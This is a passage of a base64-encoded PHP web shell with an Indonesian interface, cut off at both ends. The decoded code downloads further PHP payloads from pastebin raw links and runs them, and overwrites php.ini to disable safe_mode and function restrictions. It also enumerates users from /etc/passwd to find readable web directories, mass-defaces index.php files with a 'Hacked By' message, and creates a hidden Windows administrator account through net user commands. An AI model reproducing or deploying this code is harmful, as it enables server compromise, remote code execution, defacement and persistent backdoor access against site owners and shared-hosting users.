D48dGQ+OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJiZ19zaGVsbCIgY2xhc3M9ImlucHV0eiIgcGxhY2Vob2xkZXI9ImxpbmsgaW1hZ2UiIHN0eWxlPSJ3aWR0aDoyMDBweCI+PC90ZD4KPC90cj4KPHRyPgo8dGQ+PC90ZD48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiBjbGFzcz0iaW5wdXR6YnV0Ij48L3RkPgo8L3RyPgo8L2Zvcm0+CjwvdGFibGU+Cjw/cGhwCiAgICBleGl0KCk7CiAgICB9CgogICAgZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdzZXRfbG9naW4nKSkKICAgIHsKICAgID8+CjxjZW50ZXI+Cjxmb3JtIGFjdGlvbj0iP3NhZD08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PXNldHRpbmdzIiBtZXRob2Q9IlBPU1QiPgo8dGFibGU+Cjx0cj4KPHRkPjxoNz5BcHBlYXJhbmNlIFNldHRpbmc8L2g3PjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPkxvZ2luIEJhY2tncm91bmQ8L3RkPjx0ZD46PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImJnX2xvZ2luIiBjbGFzcz0iaW5wdXR6IiBwbGFjZWhvbGRlcj0ibGluayBpbWFnZSIgc3R5bGU9IndpZHRoOjIwMHB4Ij48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIGNsYXNzPSJpbnB1dHpidXQiIHZhbHVlPSJzdWJtaXQgc2V0dGluZyI+PC90ZD4KPC90cj4KPC9mb3JtPgo8L3RhYmxlPgo8P3BocAogICAgICAgIGV4aXQoKTsKICAgIH0KICAgIGVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnYnlwYXNzZXInKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgZWNobyAiPGNlbnRlcj48YnIvPjxici8+Q2hvb3NlIEJ5cGFzc2VyIEJlbG93PGJyLz48YnIvPiI7ID8+CjxhIGhyZWY9Ij88P3BocCBlY2hvICJwYXRoPSIuJHBhdGg7ID8+JmFtcDt4PWJ5c3lzZnVuY3dzZiI+PGlucHV0IGNsYXNzPWJvcmRlcmdheWEgdHlwZT1zdWJtaXQgdmFsdWU9IkJ5cGFzcyBSb290IFBhdGggV2l0aCBTeXN0ZW0gRnVuY3Rpb24iIC8+PC9hPgpPciA8YSBocmVmPSI/PD9waHAgZWNobyAicGF0aD0iLiRwYXRoOyA/PiZhbXA7eD1ieXBzaW5pIj48aW5wdXQgY2xhc3M9Ym9yZGVyZ2F5YSB0eXBlPXN1Ym1pdCB2YWx1ZT0iQnlwYXNzIERpc2FibGUgRnVuY3Rpb25zIiAvPjwvYT4KT3IgPGEgaHJlZj0iPzw/cGhwIGVjaG8gInBhdGg9Ii4kcGF0aDsgPz4mYW1wO3g9YnlzeXNmdW5jd2V4ZWMiPjxpbnB1dCBjbGFzcz1ib3JkZXJnYXlhIHR5cGU9c3VibWl0IHZhbHVlPSJCeXBhc3MgUm9vdCBQYXRoIFdpdGggRXhlYyBGdW5jdGlvbiIgLz48L2E+Cjxici8+PGJyLz48YnIvPjxici8+Cjw/cGhwCiAgICAgICAgICAgICAgICBleGl0KCk7CiAgICAgICAgICAgIH0KICAgIC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KICAgICAgICAgICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCiAgICAgICAgICAgIGVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnYnlzeXNmdW5jd3NmJykpIHsKICAgICAgICAgICAgZWNobyAnPGJyPjxjZW50ZXI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToyMHB4OyI+QnlwYXNzIFJvb3QgUGF0aCBXaXRoIFN5c3RlbSBGdW5jdGlvbjwvc3Bhbj48Y2VudGVyPic7CiAgICAgICAgICAgIG1rZGlyKCdieXN5c3dzZicsIDA3NTUpOwogICAgICAgICAgICBjaGRpcignYnlzeXN3c2YnKTsKICAgICAgICAgICAgJGJ5c3lzd3NmID0gZmlsZV9nZXRfY29udGVudHMoImh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9QdzA3UHdWRCIpOwogICAgICAgICAgICAkZmlsZSA9IGZvcGVuKCJieXN5c3dzZi5waHAiICwidysiKTsKICAgICAgICAgICAgJHdyaXRlID0gZndyaXRlICgkZmlsZSAsJGJ5c3lzd3NmKTsKICAgICAgICAgICAgZmNsb3NlKCRmaWxlKTsKICAgICAgICAgICAgY2htb2QoImJ5c3lzd3NmLnBocCIsMDc1NSk7CiAgICAgICAgICAgIGVjaG8gIjxpZnJhbWUgc3JjPWJ5c3lzd3NmL2J5c3lzd3NmLnBocCB3aWR0aD03MCUgaGVpZ2h0PTcwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiI7ZXhpdCgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KICAgICAgICAgICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwogICAgICAgICAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2J5cHNpbmknKSkgewogICAgICAgICAgICAgICAgICAgICRieWh0ID0gInNhZmVfbW9kZSA9IE9mZgogICAgICAgICAgICAgICAgICAgIGRpc2FibGVfZnVuY3Rpb25zID0gTm9uZQogICAgICAgICAgICAgICAgICAgIHNhZmVfbW9kZV9naWQgPSBPRkYKICAgICAgICAgICAgICAgICAgICBvcGVuX2Jhc2VkaXIgPSBPRkYKICAgICAgICAgICAgICAgICAgICBhbGxvd191cmxfZm9wZW4gPSBPbiI7CiAgICAgICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoInBocC5pbmkiLCRieWh0KTsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8c2NyaXB0PmFsZXJ0KCdDb25ncmF0cyEnKTsgaGlkZUFsbCgpOzwvc2NyaXB0PiI7CiAgICAgICAgICAgICAgICAgICAgZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwOyB1cmw9PyIgLz4nKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCiAgICAgICAgICAgIC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwogICAgICAgICAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2J5c3lzZnVuY3dleGVjJykpIHsKICAgICAgICAgICAgZWNobyAnPGJyPjxjZW50ZXI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToyMHB4OyI+QnlwYXNzIFJvb3QgUGF0aCBXaXRoIEV4ZWMgRnVuY3Rpb248L3NwYW4+PGNlbnRlcj4nOwogICAgICAgICAgICBta2RpcignYnlzeXN3ZXhlY2YnLCAwNzU1KTsKICAgICAgICAgICAgY2hkaXIoJ2J5c3lzd2V4ZWNmJyk7CiAgICAgICAgICAgICRieXN5c3dzZiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvNmNjUGZMVzYiKTsKICAgICAgICAgICAgJGZpbGUgPSBmb3BlbigiYnlzeXN3ZXhlY2YucGhwIiAsIncrIik7CiAgICAgICAgICAgICR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLCRieXN5c3dzZik7CiAgICAgICAgICAgIGZjbG9zZSgkZmlsZSk7CiAgICAgICAgICAgIGNobW9kKCJieXN5c3dleGVjZi5waHAiLDA3NTUpOwogICAgICAgICAgICBlY2hvICI8aWZyYW1lIHNyYz1ieXN5c3dleGVjZi9ieXN5c3dleGVjZi5waHAgd2lkdGg9NzAlIGhlaWdodD03MCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4iOwogICAgICAgICAgICBleGl0KCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwogICAgICAgICAgICAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCgogICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCiAgICAgICAgLy8vLy8vLy8vLy9KVU1QSU5HLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KICAgICAgICAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KICAgICAgICBlbHNlaWYgKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdqdW1waW5nJykpIHsKICAgICAgICAgICAgICAgICAgICA/Pgo8Y2VudGVyPgo8Zm9ybSBhY3Rpb249Ij9zYWQ9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD1qdW1waW5nIiBtZXRob2Q9InBvc3QiPgo8P3BocAogICAgICAgICAgICAgICAgLy9yYWRhYmxlIHB1YmxpY19odG1sCiAgICAgICAgICAgICAgICAoJHNtID0gaW5pX2dldCgnc2FmZV9tb2RlJykgPT0gMCkgPyAkc20gPSAnb2ZmJzogZGllKCc8Yj5FcnJvcjogc2FmZV9tb2RlID0gb248L2I+Jyk7CiAgICAgICAgICAgICAgICBzZXRfdGltZV9saW1pdCgwKTsKICAgICAgICAgICAgICAgICMjIyMjIyMjIyMjIyMjIyMjIyMKICAgICAgICAgICAgICAgIEAkcGFzc3dkID0gZm9wZW4oJy9ldGMvcGFzc3dkJywncicpOwogICAgICAgICAgICAgICAgaWYgKCEkcGFzc3dkKSB7IGRpZSgnPGJyPlstXSBFcnJvciA6IGNvdWRuYHQgcmVhZCAvZXRjL3Bhc3N3ZCcpOyB9CiAgICAgICAgICAgICAgICAkcHViID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICR1c2VycyA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAkY29uZiA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAkaSA9IDA7CiAgICAgICAgICAgICAgICB3aGlsZSghZmVvZigkcGFzc3dkKSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRzdHIgPSBmZ2V0cygkcGFzc3dkKTsKICAgICAgICAgICAgICAgIGlmICgkaSA+IDM1KQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7CiAgICAgICAgICAgICAgICAkdXNlcm5hbWUgPSBzdWJzdHIoJHN0ciwwLCRwb3MpOwogICAgICAgICAgICAgICAgJGRpcnogPSAnL2hvbWUvJy4kdXNlcm5hbWUuJy9wdWJsaWNfaHRtbC8nOwogICAgICAgICAgICAgICAgaWYgKCgkdXNlcm5hbWUgIT0gJycpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKGlzX3JlYWRhYmxlKCRkaXJ6KSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7CiAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRwdWIsJGRpcnopOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGkrKzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICMjIyMjIyMjIyMjIyMjIyMjIyMKICAgICAgICAgICAgICAgIGVjaG8gJzxicj48YnI+PC9jZW50ZXI+PC9jZW50ZXI+JzsKICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNsYXNzPSdyYXBpaGJhbmdldCc+WytdIEZvdW5kZWQgIi5zaXplb2YoJHVzZXJzKS4iIGVudHJ5cyBpbiAvZXRjL3Bhc3N3ZFxuIi4iPGJyIC8+PC9mb250PiI7CiAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjbGFzcz0ncmFwaWhiYW5nZXQnPlsrXSBGb3VuZGVkICIuc2l6ZW9mKCRwdWIpLiIgcmVhZGFibGUgcHVibGljX2h0bWwgZGlyZWN0b3JpZXNcbiIuIjxiciAvPjwvZm9udD4iOwogICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY2xhc3M9J3JhcGloYmFuZ2V0Jz5bfl0gU2VhcmNoaW5nIGZvciBwYXNzd29yZHMgaW4gY29uZmlnIGZpbGVzLi4uPGJyIC8+PGJyIC8+PC9mb250PiI7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkdXNlcnMgYXMgJHVzZXIpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkcGF0aCA9ICIvaG9tZS8kdXNlci9wdWJsaWNfaHRtbC8iOwogICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY2xhc3M9J3JhcGloYmFuZ2V0Jz48YSBocmVmPSc/c2FkJiM2MTskcGF0aCcgdGFyZ2V0PSdfYmxhbmsnIGZvbnQtd2VpZ2h0OmJvbGQ7IGNvbG9yOiNGODA7Jz4kcGF0aDwvYT48YnI+PC9mb250PiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICI8YnIgLz48Zm9udCBjbGFzcz0ncmFwaWhiYW5nZXQnPlsrXSBDb21wbGV0ZS4uLlxuIi4iPGJyIC8+PC9mb250PiI7CiAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjbGFzcz0ncmFwaWhiYW5nZXQnPlsrXSBNb25nZ28gU2lrYXQgQm96IVxuIi4iPGJyIC8+PC9mb250PiI7CiAgICAgICAgICAgICAgICBlY2hvICc8YnI+PGJyPjwvYj48L2JvZHk+PGNlbnRlcj4nOwogICAgICAgICAgICAgICAgZXhpdCgpOwogICAgICAgIH0KCgovLy8vLy8vLy8vLy8vLy8KCiBlbHNlaWYgKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdtYXNzJykpIHsKICAgIGVycm9yX3JlcG9ydGluZygwKTsKPz48Y2VudGVyPjx0YWJsZT48dGQgd2lkdGg9IjUwJSI+PGZvcm0gRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSI8P3BocAogICAgJF9TRVJWRVJbJ1BIUF9TRUxGJ107Cj8+IiBtZXRob2Q9cG9zdD48cCBhbGlnbj0iY2VudGVyIj48aDI+Rm9sZGVyPC9oMj48aW5wdXQgY2xhc3M9J2lucHV0eicgdHlwPXRleHQgbmFtZT1wYXRoIHNpemU9NjAgdmFsdWU9Ijw/cGhwCiAgICBlY2hvIGdldGN3ZCgpOwo/PiI+PGJyPjxoMj5maWxlIG5hbWU8L2gyPjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXA9dGV4dCBuYW1lPWZpbGUgc2l6ZT02MCB2YWx1ZT0iaW5kZXgucGhwIj48YnI+PC90ZD48dGQgd2lkdGg9IjUwJSI+PGgzPlNjcmlwdCBEZWZhY2VtdSA8L2gzPjx0ZXh0YXJlYSBjbGFzcz0naW5wdXR6JyBuYW1lPWluZGV4IHJvd3M9MTAgY29scz00MD5IYWNrZWQgQnkgTm9OYW1lVXNlciAtIEVycm9yIFZpb2xlbmNlPC90ZXh0YXJlYT48YnI+PC90ZD48L3A+PC90YWJsZT48Y2VudGVyPjxicj48YnI+PGJyPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPXN1Ym1pdCB2YWx1ZT0iJm5ic3A7Jm5ic3A7RGVmYWNlJm5ic3A7Jm5ic3A7Ij48L2NlbnRlcj48L2Zvcm0+PGJyPjw/cGhwCiAgICAkbWFpbnBhdGggPSAkX1BPU1RbcGF0aF07CiAgICAkZmlsZSAgICAgPSAkX1BPU1RbZmlsZV07CiAgICAkZGlyICAgICAgPSBvcGVuZGlyKCIkbWFpbnBhdGgiKTsKICAgICRjb2RlICAgICA9IGJhc2U2NF9lbmNvZGUoJF9QT1NUW2luZGV4XSk7CiAgICAkaW5keCAgICAgPSBiYXNlNjRfZGVjb2RlKCRjb2RlKTsKICAgIHdoaWxlICgkcm93ID0gcmVhZGRpcigkZGlyKSkgewogICAgICAgICRzdGFydCAgPSBAZm9wZW4oIiRyb3cvJGZpbGUiLCAidysiKTsKICAgICAgICAkZmluaXNoID0gQGZ3cml0ZSgkc3RhcnQsICRpbmR4KTsKICAgICAgICBpZiAoJGZpbmlzaCkgewogICAgICAgICAgICBlY2hvICIkcm93LyRmaWxlID4gRG9uZTxicj48YnI+IjsKICAgICAgICB9CiAgICB9CiAgICBleGl0KCk7Cn0gCiAgICAvLy9tZW51IHJkcAogICAgICAgIGlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdrcmRwJykpCiAgICAgICAgICAgIC8qIEJ5IFNob3I3Y3V0ICovCiAgICAgICAgewogICAgICAgICAgICAgICAgaWYoc3RydG91cHBlcihzdWJzdHIoUEhQX09TLCAwLCAzKSkgPT09ICdXSU4nKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICA/Pjxici8+PGJyLz4KPGNlbnRlcj4KPGgxPlJEUCBDcmVhdG9yIEJ5IFNob3I3Y3V0PC9oMT4KPGRpdiBpZD0iY29udGVudC1sZWZ0Ij4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+Cjx0YWJsZSBib3JkZXI9IjFweCIgYm9yZGVyY29sb3I9IiMyZDJiMmIiIGNlbGxwYWRkaW5nPSI1cHgiPgo8dHI+Cjx0ZCBjb2xzcGFuPSIzIiBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjMmQyYjJiIj48Zm9udCBmYWNlPSJGcmVkZXJpY2thIHRoZSBHcmVhdCIgc2l6ZT0iMnB4IiBjb2xvcj0id2hpdGUiPkNSRUFURSBSRFA8L2ZvbnQ+PC90ZD4KPC90cj4KPHRyPgo8dGQ+PGZvbnQgY2xhc3M9J2tlY2V3Jz5Vc2VybmFtZTwvZm9udD48L3RkPgo8dGQ+PGZvbnQgY2xhc3M9J2tlY2V3Jz4gOiA8L2ZvbnQ+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iYm9yZGVyZ2F5YSIgbmFtZT0idXNlcm5hbWUiIHJlcXVpcmVkPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxmb250IGNsYXNzPSdrZWNldyc+UGFzc3dvcmQ8L2ZvbnQ+PC90ZD4KPHRkPjxmb250IGNsYXNzPSdrZWNldyc+IDogPC9mb250PjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImJvcmRlcmdheWEiIG5hbWU9InBhc3N3b3JkIiByZXF1aXJlZD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIzIiBhbGlnbj0iY2VudGVyIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJrc2hlbGwiIHZhbHVlPSIxIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIGNsYXNzPSJib3JkZXJnYXlhIiB2YWx1ZT0iQ3JlYXRlIj48L3RkPgo8L3RyPgo8L3RhYmxlPgo8L2Zvcm0+CjwvZGl2Pgo8YnIvPgo8ZGl2IGlkPSJjb250ZW50LWxlZnQiPgo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KPHRhYmxlIGJvcmRlcj0iMXB4IiBib3JkZXJjb2xvcj0iIzJkMmIyYiIgY2VsbHBhZGRpbmc9IjVweCI+Cjx0cj4KPHRkIGNvbHNwYW49IjMiIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiMyZDJiMmIiPjxmb250IGZhY2U9IkZyZWRlcmlja2EgdGhlIEdyZWF0IiBzaXplPSIycHgiIGNvbG9yPSJ3aGl0ZSI+T1BUSU9OPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGZvbnQgY2xhc3M9J2tlY2V3Jz5Vc2VybmFtZTwvZm9udD48L3RkPgo8dGQ+PGZvbnQgY2xhc3M9J2tlY2V3Jz4gOiA8L2ZvbnQ+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJydXNlcm5hbWUiIHBsYWNlaG9sZGVyPSJNYXN1a2FuIFVzZXJuYW1lIiBjbGFzcz0iYm9yZGVyZ2F5YSI+PC90ZD4KPC90cj4KPHRyPgo8dGQ+PGZvbnQgY2xhc3M9J2tlY2V3Jz5QYXNzd29yZDwvZm9udD48L3RkPgo8dGQ+PGZvbnQgY2xhc3M9J2tlY2V3Jz4gOiA8L2ZvbnQ+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJnYW50aXB3IiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQgQmFydSIgY2xhc3M9ImJvcmRlcmdheWEiPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxmb250IGNsYXNzPSdrZWNldyc+QWN0aW9uPC9mb250PjwvdGQ+Cjx0ZD48Zm9udCBjbGFzcz0na2VjZXcnPiA6IDwvZm9udD48L3RkPgo8dGQ+CjxzZWxlY3QgbmFtZT0iYWtzaSIgY2xhc3M9ImJvcmRlcmdheWEiPgo8b3B0aW9uIHZhbHVlPSIxIj5UYW1waWxrYW4gVXNlcm5hbWU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMiI+SGFwdXMgVXNlcm5hbWU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMyI+VWJhaCBQYXNzd29yZDwvb3B0aW9uPgo8L3NlbGVjdD4KPC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMyIgYWxpZ249ImNlbnRlciI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ia3NoZWxsIiB2YWx1ZT0iMiI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiBjbGFzcz0iYm9yZGVyZ2F5YSIgdmFsdWU9IkV4ZWN1dGUiPjwvdGQ+CjwvdHI+CjwvdGFibGU+CjwvZm9ybT4KPGJyLz4KPC9kaXY+CjwvY2VudGVyPjwvY2VudGVyPgo8P3BocAogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsnc3VibWl0J10pCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ2tzaGVsbCddPT0iMSIpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyX3VzZXIgPSAkX1BPU1RbJ3VzZXJuYW1lJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcl9wYXNzID0gJF9QT1NUWydwYXNzd29yZCddOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNtZF9jZWtfdXNlciAgID0gc2hlbGxfZXhlYygibmV0IHVzZXIiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2goIi8kcl91c2VyLyIsICRjbWRfY2VrX3VzZXIpKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRnYXlhX3Jvb3QuJHJfdXNlci4iIHN1ZGFoIGFkYSIuJG87CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY21kX2FkZF91c2VyICAgPSBzaGVsbF9leGVjKCJuZXQgdXNlciAiLiRyX3VzZXIuIiAiLiRyX3Bhc3MuIiAvYWRkIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY21kX2FkZF9ncm91cHMxID0gc2hlbGxfZXhlYygibmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgIi4kcl91c2VyLiIgL2FkZCIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNtZF9hZGRfZ3JvdXBzMiA9IHNoZWxsX2V4ZWMoIm5ldCBsb2NhbGdyb3VwIEFkbWluaXN0cmF0b3IgIi4kcl91c2VyLiIgL2FkZCIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNtZF9hZGRfZ3JvdXBzMyA9IHNoZWxsX2V4ZWMoIm5ldCBsb2NhbGdyb3VwIEFkbWluaXN0cmF0ZXVyICIuJHJfdXNlci4iIC9hZGQiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkY21kX2FkZF91c2VyKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZ2F5YV9yb290LiI8Zm9udCBjbGFzcz0ncmFwaWhiYW5nZXQnPlsrXSBNZW5hbWJhaGthbiBVc2VyIDogIi4kcl91c2VyLiIgUGFzc3dvcmQgOiAiLiRyX3Bhc3MuIiA8Zm9udCBjb2xvcj0nZ3JlZW55ZWxsb3cnPkJlcmhhc2lsITwvZm9udD48L2ZvbnQ+PGJyLz48YnIvPiIuJG87CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfWVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRnYXlhX3Jvb3QuIjxmb250IGNsYXNzPSdyYXBpaGJhbmdldCc+WytdIE1lbmFtYmFoa2FuIFVzZXIgOiAiLiRyX3VzZXIuIiBQYXNzd29yZCA6ICIuJHJfcGFzcy4iIDxmb250IGNvbG9yPSdyZWQnPkdhZ2FsITwvZm9udD48YnIvPjxici8+Ii4kbzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY2xhc3M9J3JhcGloYmFuZ2V0Jz5bK10gU2VkYW5nIE1lbXJvc2VzIFVzZXIuLiBTaWxhaGthbiBUdW5nZ3UgU2ViZW50YXIuLiAgPGJyLz4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRjbWRfYWRkX2dyb3VwczEpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGdheWFfcm9vdC4iPGZvbnQgY2xhc3M9J3JhcGloYmFuZ2V0Jz4tLS0gU2VsYW1hdCEgVXNlciAiLiRyX3VzZXIuIiA8Zm9udCBjb2xvcj0nZ3JlZW55ZWxsb3cnPkJlcmhhc2lsIERpIFByb3NlcyE8L2ZvbnQ+PGJyLz48YnIvPiIuJG87CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfWVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkY21kX2FkZF9ncm91cHMyKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRnYXlhX3Jvb3QuIjxmb250IGNsYXNzPSdyYXBpaGJhbmdldCc+LS0tIFNlbGFtYXQhIFVzZXIgIi4kcl91c2VyLiIgPGZvbnQgY29sb3I9J2dyZWVueWVsbG93Jz5CZXJoYXNpbCBEaSBQcm9zZXMhPC9mb250Pjxici8+PGJyLz4iLiRvOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1lbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGNtZF9hZGRfZ3JvdXBzMyl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZ2F5YV9yb290LiI8Zm9udCBjbGFzcz0ncmFwaWhiYW5nZXQnPi0tLSBTZWxhbWF0ISBVc2VyICIuJHJfdXNlci4iIDxmb250IGNvbG9yPSdncmVlbnllbGxvdyc+QmVyaGFzaWwgRGkgUHJvc2VzITwvZm9udD48YnIvPjxici8+Ii4kbzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZ2F5YV9yb290LiI8Zm9udCBjbGFzcz0ncmFwaWhiYW5nZXQnPi0tLSBNYWFmIFVzZXIgIi4kcl91c2VyLiIgPGZvbnQgY29sb3I9J3JlZCc+R2FnYWwgRGkgUHJvc2VzITwvZm9udD48YnIvPjxici8+Ii4kbzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY2xhc3M9J3JhcGloYmFuZ2V0Jz5bK10gU2VydmVyIEluZm8gOiA8L2ZvbnQ+PGJyLz4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGdheWFfcm9vdC4iPGZvbnQgY2xhc3M9J3JhcGloYmFuZ2V0Jz4tLS0gU2VydmVySVAgOiAiLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS4iPC9mb250P